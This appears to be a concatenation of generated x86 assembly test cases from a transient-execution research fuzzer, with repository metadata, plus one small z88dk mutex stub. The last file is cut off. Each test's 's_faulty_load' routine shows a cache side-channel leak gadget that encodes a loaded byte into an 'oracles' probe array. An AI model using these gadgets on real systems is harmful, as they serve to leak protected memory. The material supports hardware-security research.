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asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_13458_1114.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_13458_1114.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_13458_1114.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x17a4f, %rsi lea addresses_A_ht+0x1ea0f, %rdi cmp $32415, %r11 mov $66, %rcx rep movsb add $48753, %rax lea addresses_WT_ht+0x73cf, %rdi nop nop nop cmp %r11, %r11 movb $0x61, (%rdi) nop nop nop and %rsi, %rsi lea addresses_WT_ht+0x8a4f, %rsi lea addresses_WC_ht+0x557f, %rdi nop nop nop nop nop add $44439, %rdx mov $31, %rcx rep movsl xor %rax, %rax lea addresses_D_ht+0x1c84f, %rsi lea addresses_WC_ht+0x1554f, %rdi clflush (%rdi) cmp %r11, %r11 mov $78, %rcx rep movsw nop nop nop and %rsi, %rsi lea addresses_UC_ht+0x12ab7, %rsi lea addresses_D_ht+0xce4f, %rdi nop nop nop nop cmp $45118, %r12 mov $61, %rcx rep movsq nop nop nop add %rax, %rax lea addresses_UC_ht+0x106e3, %rcx nop nop xor %r11, %r11 movb $0x61, (%rcx) nop nop nop nop add $47155, %rdx lea addresses_D_ht+0x1424f, %r12 nop nop nop nop nop sub $56614, %rdx movups (%r12), %xmm5 vpextrq $0, %xmm5, %rdi nop nop sub %r12, %r12 lea addresses_UC_ht+0x55c7, %rsi nop nop nop nop sub %rcx, %rcx mov (%rsi), %di nop nop nop nop lfence lea addresses_A_ht+0x1884f, %rdx nop nop nop nop nop cmp $62308, %rsi movups (%rdx), %xmm7 vpextrq $1, %xmm7, %rax nop nop nop inc %r12 lea addresses_WT_ht+0x8c07, %rdx nop nop nop nop nop sub $34518, %rcx movb (%rdx), %al nop nop nop nop cmp $59581, %rdi lea addresses_A_ht+0x1b28b, %r12 clflush (%r12) nop nop nop nop xor $52065, %r11 movl $0x61626364, (%r12) nop nop and %rdi, %rdi lea addresses_UC_ht+0x1ac4f, %rsi sub $53692, %r12 mov $0x6162636465666768, %rdi movq %rdi, %xmm1 movups %xmm1, (%rsi) add $25262, %rax lea addresses_UC_ht+0x1a24f, %rax nop nop nop nop sub %rsi, %rsi mov $0x6162636465666768, %rdi movq %rdi, (%rax) nop nop nop cmp $39720, %rdi lea addresses_WT_ht+0xae4f, %rsi lea addresses_A_ht+0x6a4f, %rdi nop nop nop cmp %r13, %r13 mov $41, %rcx rep movsw nop and %r13, %r13 pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r14 push %rbx push %rdi push %rdx // Faulty Load lea addresses_WT+0x1564f, %r14 nop nop nop add $6890, %rdi vmovups (%r14), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $0, %xmm2, %rdx lea oracles, %rdi and $0xff, %rdx shlq $12, %rdx mov (%rdi,%rdx,1), %rdx pop %rdx pop %rdi pop %rbx pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 10, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}} {'39': 13458} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
34.377273
2,999
0.65794
d8126de42da910ea9ed7704fb5a34d2075ef6a24
2,645
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_1_1032.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_1_1032.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_1_1032.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %rax push %rbx lea addresses_normal_ht+0xfe1c, %rax nop nop and %r10, %r10 mov $0x6162636465666768, %rbx movq %rbx, %xmm0 vmovups %ymm0, (%rax) nop nop nop nop nop cmp %r12, %r12 pop %rbx pop %rax pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %r9 push %rbp push %rcx push %rdx push %rsi // Store lea addresses_normal+0x50fc, %r12 nop nop nop nop and %rsi, %rsi mov $0x5152535455565758, %rdx movq %rdx, %xmm0 movups %xmm0, (%r12) nop nop nop nop nop and %r12, %r12 // Store lea addresses_WC+0xb802, %rcx nop nop nop inc %rbp movl $0x51525354, (%rcx) add %rdx, %rdx // Store lea addresses_A+0x302b, %rcx nop nop nop nop dec %r9 movw $0x5152, (%rcx) sub $43760, %rbp // Store lea addresses_PSE+0x17554, %r12 nop cmp %r15, %r15 mov $0x5152535455565758, %rbp movq %rbp, %xmm2 movups %xmm2, (%r12) inc %rdx // Store mov $0x61893f0000000e1c, %r12 clflush (%r12) nop nop and $27344, %rsi movl $0x51525354, (%r12) cmp %rbp, %rbp // Store lea addresses_WC+0xd51c, %r12 nop nop dec %rdx mov $0x5152535455565758, %r9 movq %r9, %xmm5 vmovups %ymm5, (%r12) nop nop nop nop nop inc %r12 // Faulty Load lea addresses_WC+0xd51c, %r15 clflush (%r15) nop cmp $37883, %r12 movntdqa (%r15), %xmm1 vpextrq $1, %xmm1, %rsi lea oracles, %r9 and $0xff, %rsi shlq $12, %rsi mov (%r9,%rsi,1), %rsi pop %rsi pop %rdx pop %rcx pop %rbp pop %r9 pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_normal'}} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC'}} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_A'}} {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_PSE'}} {'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 4, 'NT': True, 'type': 'addresses_NC'}} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_WC'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': True, 'type': 'addresses_WC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_normal_ht'}} {'00': 1} 00 */
18.626761
129
0.644612
5fe5565a3ae1477f450f0463307192d4d9f0c3f9
140
asm
Assembly
libsrc/_DEVELOPMENT/threads/mutex/c/sccz80/mtx_lock.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/threads/mutex/c/sccz80/mtx_lock.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/threads/mutex/c/sccz80/mtx_lock.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; int mtx_lock(mtx_t *m) SECTION code_clib SECTION code_threads_mutex PUBLIC mtx_lock EXTERN asm_mtx_lock defc mtx_lock = asm_mtx_lock
11.666667
28
0.814286
36d70ed9b0e824ac911267e7337e22b9accf0a7b
7,728
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0xca_notsx.log_810_1810.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0xca_notsx.log_810_1810.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0xca_notsx.log_810_1810.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r15 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x17c17, %r15 nop nop and $3500, %r13 mov (%r15), %r10d nop nop and %rbx, %rbx lea addresses_WT_ht+0x17, %rsi lea addresses_normal_ht+0x3218, %rdi nop nop sub %r15, %r15 mov $22, %rcx rep movsb xor %rsi, %rsi lea addresses_A_ht+0x1223b, %r15 nop nop nop xor %rcx, %rcx mov $0x6162636465666768, %rsi movq %rsi, %xmm1 vmovups %ymm1, (%r15) nop nop sub %r10, %r10 lea addresses_WT_ht+0x18217, %rsi lea addresses_normal_ht+0x13a17, %rdi nop nop dec %rdx mov $20, %rcx rep movsb nop nop nop add %rcx, %rcx lea addresses_A_ht+0x1a097, %r15 nop and $61116, %rcx and $0xffffffffffffffc0, %r15 vmovaps (%r15), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $0, %xmm0, %rbx nop nop cmp $45186, %rdi lea addresses_WC_ht+0x1d497, %r15 nop nop nop nop nop cmp $28811, %rcx mov (%r15), %r13d nop nop nop nop add %r15, %r15 lea addresses_UC_ht+0x82b3, %rsi lea addresses_A_ht+0xa0b7, %rdi nop nop nop nop nop and %r10, %r10 mov $115, %rcx rep movsb nop nop nop nop nop inc %rdi lea addresses_WC_ht+0x13417, %rbx nop nop nop add %rcx, %rcx mov (%rbx), %rsi nop inc %rbx lea addresses_WT_ht+0x1417, %rdx clflush (%rdx) nop sub $64398, %r15 movl $0x61626364, (%rdx) nop nop nop inc %rdx lea addresses_UC_ht+0x1c017, %rsi lea addresses_D_ht+0x9c17, %rdi nop nop nop sub $53371, %r10 mov $68, %rcx rep movsb nop nop cmp %r13, %r13 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r15 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r9 push %rax push %rbp push %rbx push %rdx push %rsi // Load lea addresses_WT+0x199, %rdx nop nop sub $10789, %rsi movups (%rdx), %xmm6 vpextrq $0, %xmm6, %rax dec %rbp // Store lea addresses_WC+0x15df7, %rax clflush (%rax) nop xor %r9, %r9 mov $0x5152535455565758, %r10 movq %r10, %xmm2 vmovups %ymm2, (%rax) sub %r10, %r10 // Store lea addresses_normal+0x1217, %rbp nop nop nop xor %rbx, %rbx movl $0x51525354, (%rbp) nop nop nop sub $57758, %rdx // Load lea addresses_PSE+0xe417, %r9 nop nop nop and $31842, %r10 mov (%r9), %si nop nop nop add %r10, %r10 // Store lea addresses_RW+0x18c17, %rdx nop nop nop nop nop and %rsi, %rsi movl $0x51525354, (%rdx) dec %rbp // Store lea addresses_normal+0x18ed7, %rbp nop cmp $10114, %rdx mov $0x5152535455565758, %rax movq %rax, %xmm6 movups %xmm6, (%rbp) and $4688, %rbx // Store lea addresses_A+0x14c17, %rbx sub %rax, %rax mov $0x5152535455565758, %rbp movq %rbp, (%rbx) nop nop nop nop xor %rbx, %rbx // Faulty Load lea addresses_A+0x12417, %r10 nop add %rbp, %rbp mov (%r10), %edx lea oracles, %rbx and $0xff, %rdx shlq $12, %rdx mov (%rbx,%rdx,1), %rdx pop %rsi pop %rdx pop %rbx pop %rbp pop %rax pop %r9 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WT', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 4, 'NT': False, 'type': 'addresses_WC', 'size': 32, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': True, 'type': 'addresses_normal', 'size': 4, 'AVXalign': False}} {'src': {'same': False, 'congruent': 3, 'NT': True, 'type': 'addresses_PSE', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': True, 'type': 'addresses_RW', 'size': 4, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_normal', 'size': 16, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_A', 'size': 8, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False}} {'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}} {'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}} {'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': True, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False}} {'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}} {'00': 810} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
30.305882
2,429
0.65295
ae41d9645631a27afab4c9ecd4a72cc66660a066
6,084
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca_notsx.log_21829_455.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca_notsx.log_21829_455.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca_notsx.log_21829_455.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r15 push %r9 push %rbx push %rsi lea addresses_UC_ht+0x3979, %rbx nop nop sub $9440, %r12 mov $0x6162636465666768, %r15 movq %r15, (%rbx) nop nop sub %r9, %r9 lea addresses_UC_ht+0x8859, %r13 nop nop nop nop add %rsi, %rsi movb (%r13), %r9b nop nop add %rbx, %rbx lea addresses_UC_ht+0x76b9, %r9 nop and $40377, %r10 mov (%r9), %r12 nop xor $49602, %rsi lea addresses_D_ht+0xf879, %rsi nop nop nop xor %r9, %r9 vmovups (%rsi), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $1, %xmm4, %r10 nop xor %r13, %r13 lea addresses_D_ht+0x15ee7, %rbx nop and $1612, %rsi mov (%rbx), %r12 nop nop nop cmp %r10, %r10 lea addresses_A_ht+0xb6b9, %rbx clflush (%rbx) nop nop nop nop nop inc %rsi movl $0x61626364, (%rbx) add %r13, %r13 lea addresses_WT_ht+0xab99, %r13 nop sub %r15, %r15 mov $0x6162636465666768, %rbx movq %rbx, %xmm6 movups %xmm6, (%r13) nop and $42701, %r15 pop %rsi pop %rbx pop %r9 pop %r15 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %r15 push %rbp push %rbx push %rdi // Load lea addresses_WT+0x2e79, %r13 clflush (%r13) nop nop nop nop nop inc %rbp mov (%r13), %rbx nop sub %r14, %r14 // Store lea addresses_D+0x18279, %r10 and $8471, %r15 mov $0x5152535455565758, %r14 movq %r14, (%r10) nop nop nop nop nop inc %r13 // Faulty Load lea addresses_D+0x18279, %rbp xor $60345, %rdi vmovups (%rbp), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $0, %xmm0, %r13 lea oracles, %r14 and $0xff, %r13 shlq $12, %r13 mov (%r14,%r13,1), %r13 pop %rdi pop %rbx pop %rbp pop %r15 pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'} {'src': {'NT': True, 'AVXalign': True, 'size': 8, 'congruent': 10, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 8, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 